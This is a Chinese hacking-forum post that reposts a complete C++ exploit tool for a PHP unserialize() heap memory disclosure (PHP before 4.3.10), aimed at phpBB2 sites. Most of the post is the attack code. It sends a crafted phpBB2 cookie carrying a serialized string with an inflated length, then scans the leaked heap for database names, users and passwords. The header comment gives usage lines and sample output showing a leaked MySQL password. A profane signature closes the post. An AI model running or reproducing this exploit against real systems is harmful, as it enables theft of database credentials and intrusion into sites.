发新话题
打印

phphpbb2 + php version < 4.3.10 unserialize() memory dump sql password

phphpbb2 + php version < 4.3.10 unserialize() memory dump sql password

信息来源:bad boy <slythers@gmail.com.>

您可能需要以下两个文件编译此代码
http://eviloctal.hackway.net/forum/read.php?tid=5775
复制内容到剪贴板
代码:
/*
      *** coded by overdose ***
      [email]slythers@gmail.com[/email]
      php bug in ext/standart/var_unserializer.c [url]http://www.securityfocus.com/archive/1/384663/2004-12-13/2004-12-19/0[/url]
      for read heap memorie with phpbb2 ;>
      tested : phpbbmemorydump.exe "[url]http://site.com/phpbb/[/url]" 30000 -cookiename=phpbb2support > a.txt
      result:
      - string detected : /home/virtual/site.com/phpBB/config.php
      - string detected : dbname
      - string detected : PT_N
      - string detected : phpbb
      - string detected : dbuser
      - string detected : phpbb  << mysql user
      - string detected : dbpasswd
      - string detected : phpBB_R0cKs << mysql password
      - string detected : table_prefix
      - string detected : phpbb_
      use like :
      phpbbmemorydump.exe "[url]http://site.com/phpbb2/[/url]" nboctettoreadinheap [repeat/display_all_heap] [-cookiename=phpbb2mysql]
      greetz:
      my crew MWA
      pull the plug , vortex challenge
      [url]www.security-challenge.com[/url]
      [url]http://overdose.tcpteam.org/[/url]
      slipknot , dr dre , ...
      all #s-c and all i forget
      compile with borland c++ (freecommandlinetools) :
      bcc32 -c serv.cpp
      bcc32 bbmemorydump.cpp serv.obj
*/

#include <winsock.h>
#include <iostream.h>
#include "serv.h"

#define HTTP_PORT 80
#define SIGNATURE_REQUEST signaturequete
#define SIGNATURE_REQUEST_START "\nSet-Cookie: "
#define DEFAULT_COOKIE_NAME "phpbb2mysql"
#define END_SIGNATURE "_data="
#define MIN_NB_LETTRE 3
#define NB_SEC_FOR_WAIT 1000*5 // 5 secondes

char signaturequete[512];

struct url{
      char *dns;
      char *uri;
      unsigned short port;
};

struct url parseurl(char *of);
char * intostr(int erf);
bool goodcar(char carac);
unsigned int utf8decode(char *utf);
char alphanum(char *of,bool *wesh);

int main(int argc,char **argv)
{
      struct url urlparsed;
      serveur http;
      unsigned int nbmemread;
      char car;
      bool repeat = 0;
      bool displayheap = 0;
      char *cookname = DEFAULT_COOKIE_NAME;
      WSAData wsadata;
      if (WSAStartup(MAKEWORD(2, 0),&wsadata) != 0)
      return 1;
      cout <<"coded by overdose / bad boyz coding"<<endl;
      if(argc < 3)
      {
      cout <<" use like : "<<argv[0]<<" \"[url]http://site.com/phpbb2/[/url]\" nboctettoreadinheap [repeat/display_all_heap] [-cookiename=phpbb2mysql]"<<endl;
      return 0;
      };
      for(int argcpt = 3;argcpt < argc;argcpt++)
      {
      if(!strcmp(argv[argcpt],"repeat"))
      repeat = 1;
      else if(!strcmp(argv[argcpt],"display_all_heap"))
      displayheap = 1;
      else if(!strncmp(argv[argcpt],"-cookiename=",sizeof("-cookiename=")-1))
      {
      cookname= argv[argcpt] + sizeof("-cookiename=")-1;
      };
      };
      strcpy(SIGNATURE_REQUEST,SIGNATURE_REQUEST_START);
      strcat(SIGNATURE_REQUEST,cookname);
      strcat(SIGNATURE_REQUEST,END_SIGNATURE);
      nbmemread = atoi(argv[2]);
      if(!nbmemread)
      return 0;
      urlparsed = parseurl(argv[1]);
      if(!urlparsed.uri)
      return 0;
      do{
      http.createsocket();
      if(!http.connectsocket(urlparsed.dns,urlparsed.port))
      {
      cout << "can&#39;t connect to "<<urlparsed.dns<<endl;
      return 0;
      };
      http << "GET " ;
      http << urlparsed.uri ;
      http << " HTTP/1.1\nHost: ";
      http << urlparsed.dns ;
      http << "\nCookie: ";
      http << cookname;
      http << "_data=s:";
      http << intostr(nbmemread);
      http << ":%22test1%22%3b; expires=Fri, 24-Dec-2005 21:25:37 GMT; path=/; domain=";
      http << urlparsed.dns;
      http << "\nCookie: ";
      http << cookname;
      http << "_sid=1cfd759c33ba2a45b994c7b7cfd948ec; path=/; domain=";
      http << urlparsed.dns;
      http << "\nAccept-Language: fr\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nConnection: close\n\n";
      cout <<"requete effectuer ..."<<endl;
      char signature[sizeof(SIGNATURE_REQUEST)];
      char *word,*wtmp;
      unsigned int cpt ,sizesign;
      unsigned int compteur,cptstr;
      bool exit = 0;
      sizesign = strlen(SIGNATURE_REQUEST);
      memset(signature,&#39;a&#39;,sizesign);
      signature[sizesign] =&#39;\0&#39;;
      compteur = 0;
      cptstr = 0;
      while(!exit && http.getnb(&car,sizeof(char)))
      {
      // ajout du detecteur de heap
      for(cpt = 0; cpt < (sizesign-1);cpt++)
      signature[cpt] = signature[cpt+1];
      signature[sizesign-1] = car;
      if(!strcmp(signature,SIGNATURE_REQUEST))
      {
      word = new char[nbmemread*3+1];
      word[cptstr] = &#39;\0&#39;;
      compteur = strlen(intostr(nbmemread)) + 4;
      for(cpt = 0; cpt < compteur;cpt++)
      http.getnb(&car,sizeof(char));
      while(!exit && http.getnb(&car,sizeof(char)))
      {
      if((car == &#39;;&#39;) || (cptstr >= (nbmemread*3)))
      {
      exit = 1;
      continue;
      };
      word[cptstr] = car;
      cptstr++;
      word[cptstr] =&#39;\0&#39;;
      };
      if(displayheap)
      cout << word<<endl;
      nbmemread = utf8decode(word);
      for(compteur = 0;compteur < nbmemread;)
      {
      for(cpt=compteur;goodcar(word[cpt]);cpt++);
      if((cpt - compteur) > MIN_NB_LETTRE )
      {
      wtmp = new char[(cpt - compteur)+1];
      strncpy(wtmp,&word[compteur],cpt - compteur);
      wtmp[cpt - compteur] = &#39;\0&#39;;
      cout <<"- string detected : " <<wtmp<<endl;
      delete[] wtmp;
      }
      if(!(cpt - compteur))
      cpt++;
      compteur = cpt;
      };
      delete[] word;
      };
      };
      http.closesock();
      if(repeat)
      {
      cout <<endl<<"attente jusqu&#39;a la prochaine requete ..."<<endl;
      Sleep(NB_SEC_FOR_WAIT);
      };
      }while(repeat);
      /*
      delete[] urlparsed.uri;
      delete[] urlparsed.dns;
      */
      WSACleanup();
      return 0;
}

struct url parseurl(char *of)
{
      struct url retour;
      unsigned int taille;
      char tmp;
      retour.dns = 0x00;
      retour.uri = 0x00;
      retour.port = HTTP_PORT ;
      while( *of && (*of != &#39;:&#39;))
      of++;
      if(*of && *(of+1) && *(of+2))
      {
      if((*(of+1) != &#39;/&#39;) || (*(of+2) != &#39;/&#39;))
      return retour;
      of += 3;
      for(taille = 0; (of[taille] != &#39;/&#39;) && (of[taille] != &#39;\0&#39;) && (of[taille] != &#39;:&#39;);taille++);
      retour.dns = new char [taille+1];
      memcpy(retour.dns,of,taille);
      retour.dns[taille] = &#39;\0&#39;;
      of += taille;
      if(*of == &#39;:&#39;)
      {
      of++;
      for(taille = 0; (of[taille] != &#39;/&#39;) && (of[taille] != &#39;\0&#39;);taille++);
      tmp = of[taille];
      of[taille] = &#39;\0&#39;;
      if(taille)
      retour.port = atoi(of);
      of[taille] = tmp;
      of += taille;
      };
      if(!*of)
      {
      retour.uri = new char[2];
      strcpy(retour.uri,"/");
      }
      else
      {
      retour.uri = new char [strlen(of)+1];
      strcpy(retour.uri,of);
      };
      };
      return retour;
}

char * intostr(int erf)
{
      char *chaine;
      int puissance;
      int erf2;
      if( erf >= 0)
      {
      puissance =0;
      for(int kekette = 1;kekette<=erf;kekette = kekette*10)
      {
      puissance++;
      };
      if (puissance == 0)
      {
      puissance = 1;
      };
      chaine = new char[puissance+1];
      chaine[puissance] =&#39;\0&#39;;
      for(int arf = puissance-1;arf >=0;arf--)
      {
      erf2 = erf % 10 ;
      chaine[arf] = &#39;0&#39; + erf2;
      erf = erf /10;
      };
      return chaine;
      }
      else
      return 0;
}

bool goodcar(char carac)
{
      unsigned short cpt;
      if(!carac)
      return 0;
      // i hate do like this :/
      char *goodcar = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMONPQRSTUVWXYZ012345689<>И@Ю)]=}Х[_-{#&*\\/-+~&#39;Г$%.:;|^~$,!?\"\&#39;\t\r\n ";
      for(cpt = 0;(goodcar[cpt] != &#39;\0&#39;) && (goodcar[cpt] != carac);cpt++);
      if(goodcar[cpt] == carac)
      return 1;
      return 0;
}

unsigned int utf8decode(char *utf)
{
      char *r;
      char *w;
      char tmp;
      bool han;
      r = w = utf;
      while(*r)
      {
      if(*r ==&#39;%&#39;)
      {
      tmp = alphanum(r+1,&han);
      if(han)
      {
      *w = tmp;
      r += 2;
      }
      else
      *w = *r;
      }
      else
      *w = *r;
      w++;
      r++;
      };
      *w = &#39;\0&#39;;
      return (w-utf);
}

char alphanum(char *of,bool *wesh)
{
      unsigned char retour;
      retour = 0x00;
      *wesh = 0;
      if(!(*of && *(of+1)))
      return 0x00;
      if((*of >= &#39;a&#39;) && (*of <= &#39;f&#39;))
      retour = ((*of - &#39;a&#39;) +10) * 0x10;
      else if((*of >= &#39;A&#39;) && (*of <= &#39;F&#39;))
      retour = ((*of - &#39;A&#39;) +10) * 0x10;
      else if((*of >= &#39;0&#39;) && (*of <= &#39;9&#39;))
      retour = (*of - &#39;0&#39;) * 0x10;
      else
      return 0x00;
      of++;
      if((*of >= &#39;a&#39;) && (*of <= &#39;f&#39;))
      retour += ((*of - &#39;a&#39;) +10);
      else if((*of >= &#39;A&#39;) && (*of <= &#39;F&#39;))
      retour += ((*of - &#39;A&#39;) +10);
      else if((*of >= &#39;0&#39;) && (*of <= &#39;9&#39;))
      retour += (*of - &#39;0&#39;);
      else
      return 0x00;
      *wesh = 1;
      return retour;
}
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题